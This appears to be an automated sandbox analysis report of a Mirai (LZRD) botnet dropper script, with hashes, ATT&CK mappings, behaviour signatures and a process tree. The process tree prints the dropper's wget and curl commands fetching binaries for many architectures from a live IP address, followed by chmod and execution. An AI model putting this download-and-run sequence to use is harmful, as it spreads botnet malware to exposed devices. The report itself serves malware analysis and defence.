mirai | 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091

Analysis

max time kernel
11s
max time network
55s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-01-2025 03:38

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General

Target

74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
Size

2KB
MD5

ed9afc8adb1a34f93090873f6b76ec07
SHA1

13b5f418f63a32c61e493995e10e3baa0b02caab
SHA256

74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091
SHA512

3ef263bf7ef4cadcc3587d3ef891289cb051087c9d125a74fc8f34f16cda89ca79c2a5ae6f2d0edee3f87855de37af4a594779d6d0d332beade0654e102bd049

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
813	chmod
687	chmod
698	chmod
713	chmod
726	chmod
758	chmod
779	chmod
796	chmod
676	chmod
740	chmod
765	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/WTF	678	WTF
/tmp/WTF	688	WTF
/tmp/WTF	699	WTF
/tmp/WTF	714	WTF
/tmp/WTF	727	WTF
/tmp/WTF	742	WTF
/tmp/WTF	759	WTF
/tmp/WTF	766	WTF
/tmp/WTF	780	WTF
/tmp/WTF	797	WTF
/tmp/WTF	814	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-8.dat	upx

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 25 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
684	curl
686	cat
680	wget

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wind.x86	wget
File opened for modification	/tmp/wind.arc	wget
File opened for modification	/tmp/wind.mpsl	wget
File opened for modification	/tmp/wind.arm6	curl
File opened for modification	/tmp/wind.x86	curl
File opened for modification	/tmp/wind.i686	curl
File opened for modification	/tmp/wind.arm	curl
File opened for modification	/tmp/wind.arm6	wget
File opened for modification	/tmp/wind.arm7	wget
File opened for modification	/tmp/wind.mips	wget
File opened for modification	/tmp/wind.x86_64	curl
File opened for modification	/tmp/wind.mpsl	curl
File opened for modification	/tmp/wind.arm5	wget
File opened for modification	/tmp/wind.arm5	curl
File opened for modification	/tmp/wind.arm7	curl
File opened for modification	/tmp/WTF	74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
File opened for modification	/tmp/wind.mips	curl
File opened for modification	/tmp/wind.arc	curl
File opened for modification	/tmp/wind.i468	curl
File opened for modification	/tmp/wind.arm	wget

/tmp/74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
/tmp/74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
1⤵
- Writes file to tmp directory
PID:648
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Writes file to tmp directory
  PID:651
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:665
- /bin/cat
  cat wind.x86
  2⤵
  PID:675
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:678
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /bin/cat
  cat wind.mips
  2⤵
  - System Network Configuration Discovery
  PID:686
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:688
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/cat
  cat wind.arc
  2⤵
  PID:696
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:699
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:706
- /bin/cat
  cat wind.i468
  2⤵
  PID:711
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.i468 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:714
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/cat
  cat wind.i686
  2⤵
  PID:725
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.i468 wind.i686 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:727
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/cat
  cat wind.x86_64
  2⤵
  PID:737
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.i468 wind.i686 wind.mips wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:742
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat wind.mpsl
  2⤵
  PID:757
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:759
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/cat
  cat wind.arm
  2⤵
  PID:764
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.arm wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:766
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Writes file to tmp directory
  PID:770
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/cat
  cat wind.arm5
  2⤵
  PID:778
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.arm wind.arm5 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:780
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/cat
  cat wind.arm6
  2⤵
  PID:794
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.arm wind.arm5 wind.arm6 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:797
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/cat
  cat wind.arm7
  2⤵
  PID:812
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mMcz7L wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:814
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  PID:815

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
27KB

MD5
31695f8e13cc48d85194f28fae5b9947

SHA1
c0aeffac04584edd671c647e93cfe3732357bca4

SHA256
43756b412067a771fb68c6df35ccaf2e5668de697e189cd2a6f847ed5434d20d

SHA512
7c1bd7c1857a825e1ddfafc3fc67a0e9a9221ab3ed64374f7a943f91fe08e19b6c200976bae214963c7f2cd1cf3c42624e35de03d125604b1da3a3eb5c914956

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/tmp/WTF

Filesize
113KB

MD5
a1fe5416e612e6715d590130c2a5a9ca

SHA1
fc47c47eef1e5a037446eb9e0d2b1711bf5975a3

SHA256
212660d32a279ad8f1965a28df06992c62b714d52142e5389e03b5835664043c

SHA512
8213076bfba398bb77df85c68ca8d1467b5197a2082237f54017ef0124133d6f63b4b85215916576a2392835f945a6f9c09bc710898993fc99a44f1d740ca890

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/tmp/WTF

Filesize
217B

MD5
b5c5bc11ee843c629fe4dc7b16d9e3c8

SHA1
b4f2fc81c39d2c053c55ee06a161655f6546a372

SHA256
40e81787af6d49bfd5ff0dd8a740f823899d31ddf509e41b10165b13a8cc6e39

SHA512
fe3c0c15734685ad54a0068e56cd4247e7cf4716257d25e1916fc69e2c0d7a490166b3802339fff264e3e4ef86d2d4c156f5866eb931e99dce15ad64c96f1a16

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/tmp/WTF

Filesize
217B

MD5
7996ac0d48cf7290dc39acdf4c6cbe78

SHA1
6949f5ef62883990e34538ee5bfdab36b5ddddde

SHA256
96db2cd9e9a66997acbc90e8f591e6b1696bb47500d1d07db2d20e3c92de70a8

SHA512
0eb9e26445b177be128aa076110ff2d3488641347c17eef3f2e44b50bb9fe18f4c7fa10cccf2985801fbfd5fcc5c163cf141452850927aa58f623737a9d9488a

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/tmp/WTF

Filesize
49KB

MD5
3634b5f771039cbfc6df6f88b84d97c3

SHA1
5e23bea077b83b856d36e2bf71f93682aa0ba014

SHA256
888533f1ab6512e37757ab85fbf9cd35c31c524c8f0a02c1b2fe8c7baccab958

SHA512
7bfcf670f38c5016d678fd8ffad60ec7c658d89b67badda109c7d45b2a19b89ba93dca5bc7f61c810ce0db1edd728f93c220aa80e328f2a1c3b4814c652bea4b

Download Submit
/tmp/wind.x86

Filesize
25KB

MD5
819856ae59567a9a45f09a578a8701d6

SHA1
f10479dba7d8ce69c749bd30461ba4a1e0a75833

SHA256
f1eb1a307496e1f0468c7a40e8b64d35e0052d9d1654d4a06b444c8218f9be38

SHA512
10223b4bb6d324eeb9d3d0313e4d16b31dbd4111fb0f9c5b5319e539277c0d05dcf67ac802b9c45fbb7248884370cc0ff0855547e5e39b8930aab2e8105090cb

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads